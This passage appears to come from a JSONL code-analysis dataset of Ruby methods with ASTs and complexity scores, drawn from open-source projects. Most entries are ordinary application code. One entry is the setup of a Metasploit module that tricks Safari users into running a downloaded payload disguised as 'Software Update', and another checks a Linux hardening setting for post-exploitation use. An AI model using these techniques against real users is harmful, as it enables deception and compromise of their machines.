null,\"format\",{\"type\":\"send\",\"children\":[null,\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"def_node\"]},\"method_name\"]}]}]}]}]}]}]}]}]}","id":"9662e5a1-7608-4ec8-a9d1-3911158350fe"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/grids/lib/grids/factory.rb","start_line":63,"raw_source":"def project_from_id(id)\n        Project.find(id) if id\n      rescue ActiveRecord::RecordNotFound\n        nil\n      end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"project_from_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"d78b893d-761d-4caa-8778-64c6d81f7305"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/db/migrate/20241217041352_fix_old_audio_alert_data.rb","start_line":2,"raw_source":"def change\n    # rubocop:disable Rails/SkipsModelValidations\n\n    # Update users with audio alerts enabled to 'mine'\n    User.where(\n      \"users.ui_settings #>> '{enable_audio_alerts}' = ?\", 'true'\n    ).update_all(\n      \"ui_settings = jsonb_set(ui_settings, '{enable_audio_alerts}', '\\\"mine\\\"')\"\n    )\n\n    # Update users with audio alerts enabled to 'none'\n    User\n      .where(\"users.ui_settings #>> '{enable_audio_alerts}' = ?\", 'true')\n      .update_all(\"ui_settings = jsonb_set(ui_settings, '{enable_audio_alerts}', '\\\"mine\\\"')\")\n    # rubocop:enable Rails/SkipsModelValidations\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"str\",\"children\":[\"users.ui_settings #>> '{enable_audio_alerts}' = ?\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},\"update_all\",{\"type\":\"str\",\"children\":[\"ui_settings = jsonb_set(ui_settings, '{enable_audio_alerts}', '\\\"mine\\\"')\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"str\",\"children\":[\"users.ui_settings #>> '{enable_audio_alerts}' = ?\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},\"update_all\",{\"type\":\"str\",\"children\":[\"ui_settings = jsonb_set(ui_settings, '{enable_audio_alerts}', '\\\"mine\\\"')\"]}]}]}]}","id":"bfd80cd5-8231-48ea-a8f1-0c9950a4a8aa"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/ai_bot/shared_ai_conversations_controller.rb","start_line":13,"raw_source":"def create\n        ensure_allowed_create!\n\n        RateLimiter.new(current_user, \"share-ai-conversation\", 10, 1.minute).performed!\n\n        shared_conversation = SharedAiConversation.share_conversation(current_user, @topic)\n\n        if shared_conversation.persisted?\n          render json: success_json.merge(share_key: shared_conversation.share_key)\n        else\n          render json:\n                   failed_json.merge(error: I18n.t(\"discourse_ai.share_ai.errors.failed_to_share\")),\n                 status: :unprocessable_entity\n        end\n      end","complexity_score":22.75,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_allowed_create!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"str\",\"children\":[\"share-ai-conversation\"]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"minute\"]}]},\"performed!\"]},{\"type\":\"lvasgn\",\"children\":[\"shared_conversation\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedAiConversation\"]},\"share_conversation\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"ivar\",\"children\":[\"@topic\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shared_conversation\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success_json\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"share_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shared_conversation\"]},\"share_key\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_json\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"discourse_ai.share_ai.errors.failed_to_share\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}","id":"5f36c113-0d3c-4d5c-b1d6-17ee908b285d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/ci_mixin/processing.rb","start_line":94,"raw_source":"def write_metrics(parameters)\n    ActiveMetrics::Base.connection.write_multiple(parameters)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"write_metrics\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parameters\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveMetrics\"]},\"Base\"]},\"connection\"]},\"write_multiple\",{\"type\":\"lvar\",\"children\":[\"parameters\"]}]}]}","id":"ce052f8b-3836-4ff7-958d-b19ce679ff07"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Safari User-Assisted Download and Run Attack',\n        'Description' => %q{\n          This module abuses some Safari functionality to force the download of a\n          zipped .app OSX application containing our payload. The app is then\n          invoked using a custom URL scheme. At this point, the user is presented\n          with Gatekeeper's prompt:\n\n          \"APP_NAME\" is an application downloaded from the internet. Are you sure you\n          want to open it?\n\n          If the user clicks \"Open\", the app and its payload are executed.\n\n          If the user has the \"Only allow applications downloaded from Mac App Store\n          and identified developers (on by default on OS 10.8+), the user will see\n          an error dialog containing \"can't be opened because it is from an unidentified\n          developer.\" To work around this issue, you will need to manually build and sign\n          an OSX app containing your payload with a custom URL handler called \"openurl\".\n\n          You can put newlines and unicode in your APP_NAME, although you must be careful not\n          to create a prompt that is too tall, or the user will not be able to click\n          the buttons, and will have to either logout or kill the CoreServicesUIAgent\n          process.\n        },\n        'License' => MSF_LICENSE,\n        'Targets' => [\n          [\n            'Mac OS X x86 (Native Payload)',\n            {\n              'Platform' => 'osx',\n              'Arch' => ARCH_X86,\n            }\n          ],\n          [\n            'Mac OS X x64 (Native Payload)',\n            {\n              'Platform' => 'osx',\n              'Arch' => ARCH_X64,\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2014-03-10',\n        'Author' => [ 'joev' ],\n        'BrowserRequirements' => {\n          :source => 'script',\n          :ua_name => HttpClients::SAFARI,\n          :os_name => OperatingSystems::Match::MAC_OSX,\n\n          # On 10.6.8 (Safari 5.x), a dialog never appears unless the user\n          # has already manually launched the dropped exe\n          :ua_ver => lambda { |ver| ver.to_i != 5 }\n        },\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('APP_NAME', [false, \"The name of the app to display\", \"Software Update\"]),\n      OptInt.new('DELAY', [false, \"Number of milliseconds to wait before trying to open\", 2500]),\n      OptBool.new('LOOP', [false, \"Continually display prompt until app is run\", true]),\n      OptInt.new('LOOP_DELAY', [false, \"Time to wait before trying to launch again\", 3000]),\n      OptBool.new('CONFUSE', [false, \"Pops up a million Terminal prompts to confuse the user\", false]),\n      OptString.new('CONTENT', [false, \"Content to display in browser\", \"Redirecting, please wait...\"]),\n      OptPath.new('SIGNED_APP', [false, \"A signed .app to drop, to workaround OS 10.8+ settings\"])\n    ])\n  end","complexity_score":18.68,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Safari User-Assisted Download and Run Attack\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module abuses some Safari functionality to force the download of a\\n\"]},{\"type\":\"str\",\"children\":[\"          zipped .app OSX application containing our payload. The app is then\\n\"]},{\"type\":\"str\",\"children\":[\"          invoked using a custom URL scheme. At this point, the user is presented\\n\"]},{\"type\":\"str\",\"children\":[\"          with Gatekeeper's prompt:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          \\\"APP_NAME\\\" is an application downloaded from the internet. Are you sure you\\n\"]},{\"type\":\"str\",\"children\":[\"          want to open it?\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          If the user clicks \\\"Open\\\", the app and its payload are executed.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          If the user has the \\\"Only allow applications downloaded from Mac App Store\\n\"]},{\"type\":\"str\",\"children\":[\"          and identified developers (on by default on OS 10.8+), the user will see\\n\"]},{\"type\":\"str\",\"children\":[\"          an error dialog containing \\\"can't be opened because it is from an unidentified\\n\"]},{\"type\":\"str\",\"children\":[\"          developer.\\\" To work around this issue, you will need to manually build and sign\\n\"]},{\"type\":\"str\",\"children\":[\"          an OSX app containing your payload with a custom URL handler called \\\"openurl\\\".\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          You can put newlines and unicode in your APP_NAME, although you must be careful not\\n\"]},{\"type\":\"str\",\"children\":[\"          to create a prompt that is too tall, or the user will not be able to click\\n\"]},{\"type\":\"str\",\"children\":[\"          the buttons, and will have to either logout or kill the CoreServicesUIAgent\\n\"]},{\"type\":\"str\",\"children\":[\"          process.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Mac OS X x86 (Native Payload)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"osx\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Mac OS X x64 (Native Payload)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"osx\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-03-10\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"joev\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BrowserRequirements\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"str\",\"children\":[\"script\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ua_name\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HttpClients\"]},\"SAFARI\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"os_name\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OperatingSystems\"]},\"Match\"]},\"MAC_OSX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ua_ver\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ver\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver\"]},\"to_i\"]},\"!=\",{\"type\":\"int\",\"children\":[5]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"APP_NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the app to display\"]},{\"type\":\"str\",\"children\":[\"Software Update\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"DELAY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Number of milliseconds to wait before trying to open\"]},{\"type\":\"int\",\"children\":[2500]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"LOOP\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Continually display prompt until app is run\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"LOOP_DELAY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Time to wait before trying to launch again\"]},{\"type\":\"int\",\"children\":[3000]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"CONFUSE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Pops up a million Terminal prompts to confuse the user\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CONTENT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Content to display in browser\"]},{\"type\":\"str\",\"children\":[\"Redirecting, please wait...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"SIGNED_APP\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A signed .app to drop, to workaround OS 10.8+ settings\"]}]}]}]}]}]}]}","id":"77e36509-356d-445f-a2c0-ebb1f95dbad1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/users_helper.rb","start_line":144,"raw_source":"def allowed_management_user_profile_path(user)\n    if User.current.allowed_globally?(:manage_user)\n      edit_user_path(user)\n    else\n      user_path(user)\n    end\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_management_user_profile_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_globally?\",{\"type\":\"sym\",\"children\":[\"manage_user\"]}]},{\"type\":\"send\",\"children\":[null,\"edit_user_path\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"user_path\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"c8a1823a-7140-4fae-9109-d26bb46c631f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/chain/create.rb","start_line":48,"raw_source":"def taggable_statuses\n            statuses.select { |status| status.respond_to?(:tag_list=) }\n          end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"taggable_statuses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"statuses\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"tag_list=\"]}]}]}]}","id":"99282ca7-7c9e-4832-a75e-4d8c17885d8e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/poll.rb","start_line":55,"raw_source":"def possibly_stale?\n    remote? && last_fetched_before_expiration? && time_passed_since_last_fetch?\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"possibly_stale?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remote?\"]},{\"type\":\"send\",\"children\":[null,\"last_fetched_before_expiration?\"]}]},{\"type\":\"send\",\"children\":[null,\"time_passed_since_last_fetch?\"]}]}]}","id":"46283c06-291a-4a29-a99a-1b603b70184a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/fetch_resource_service.rb","start_line":28,"raw_source":"def perform_request(&block)\n    Request.new(:get, @url).tap do |request|\n      request.add_headers('Accept' => ACCEPT_HEADER)\n\n      # In a real setting we want to sign all outgoing requests,\n      # in case the remote server has secure mode enabled and requires\n      # authentication on all resources. However, during development,\n      # sending request signatures with an inaccessible host is useless\n      # and prevents even public resources from being fetched, so\n      # don't do it\n\n      request.on_behalf_of(Account.representative) unless Rails.env.development?\n    end.perform(&block)\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_request\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Request\"]},\"new\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"ivar\",\"children\":[\"@url\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"const\",\"children\":[null,\"ACCEPT_HEADER\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"development?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"on_behalf_of\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"representative\"]}]}]}]}]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"839e971c-c163-405a-bbae-6a141a078099"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/db/migrate/20240410130000_drop_user_id_from_chat_mentions.rb","start_line":6,"raw_source":"def up\n    DROPPED_COLUMNS.each { |table, columns| Migration::ColumnDropper.execute_drop(table, columns) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DROPPED_COLUMNS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"columns\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"ColumnDropper\"]},\"execute_drop\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]}","id":"fdd33a37-3dea-4426-8e15-99ef2122e068"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/relationship_mixin.rb","start_line":342,"raw_source":"def has_siblings?\n    return call_ancestry_method(:has_siblings?) if use_ancestry?\n\n    relationships.any?(&:has_siblings?)\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"has_siblings?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_ancestry?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call_ancestry_method\",{\"type\":\"sym\",\"children\":[\"has_siblings?\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relationships\"]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"has_siblings?\"]}]}]}]}]}","id":"dd4164d5-e0d4-484b-a242-303aafa403ae"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/linux/system.rb","start_line":311,"raw_source":"def protected_hardlinks?\n          read_file('/proc/sys/fs/protected_hardlinks').to_s.strip.eql? '1'\n        rescue StandardError\n          raise 'Could not determine protected_hardlinks status'\n        end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"protected_hardlinks?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"/proc/sys/fs/protected_hardlinks\"]}]},\"to_s\"]},\"strip\"]},\"eql?\",{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Could not determine protected_hardlinks status\"]}]}]},null]}]}","id":"9dd60f47-313a-418c-9c43-20b701491f49"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/database_configurations/resolver_test.rb","start_line":131,"raw_source":"def test_url_memory_db_for_sqlite3\n          pool_config = resolve_db_config \"sqlite3::memory:\"\n          assert_equal(\":memory:\", pool_config.database)\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_url_memory_db_for_sqlite3\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pool_config\",{\"type\":\"send\",\"children\":[null,\"resolve_db_config\",{\"type\":\"str\",\"children\":[\"sqlite3::memory:\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\":memory:\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool_config\"]},\"database\"]}]}]}]}","id":"0a60a29a-a980-4ecc-9474-392834c4cc5b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/recalculate_dora_deployment_frequency_score.rb","start_line":47,"raw_source":"def frequency_score(value)\n        return 10 if value < SCORE_BOUNDARIES[:low]\n        return 30 if value > SCORE_BOUNDARIES[:high]\n\n        20\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"frequency_score\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SCORE_BOUNDARIES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"low\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[10]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SCORE_BOUNDARIES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"high\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[30]}]},null]},{\"type\":\"int\",\"children\":[20]}]}]}","id":"2418c5aa-ce25-44c6-9c4d-15fae76e16fa"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/common/common.rb","start_line":350,"raw_source":"def prawn_table_cell_inline_font_styles(text, styles)\n    value = text || \"\"\n    value = \"<b>#{value}</b>\" if styles.include?(:bold)\n    value = \"<i>#{value}</i>\" if styles.include?(:italic)\n    value = \"<u>#{value}</u>\" if styles.include?(:underline)\n    value = \"<strikethrough>#{value}</strikethrough>\" if styles.include?(:strikethrough)\n    value = \"<sub>#{value}</sub>\" if styles.include?(:sub)\n    value = \"<sup>#{value}</sup>\" if styles.include?(:sup)\n    value\n  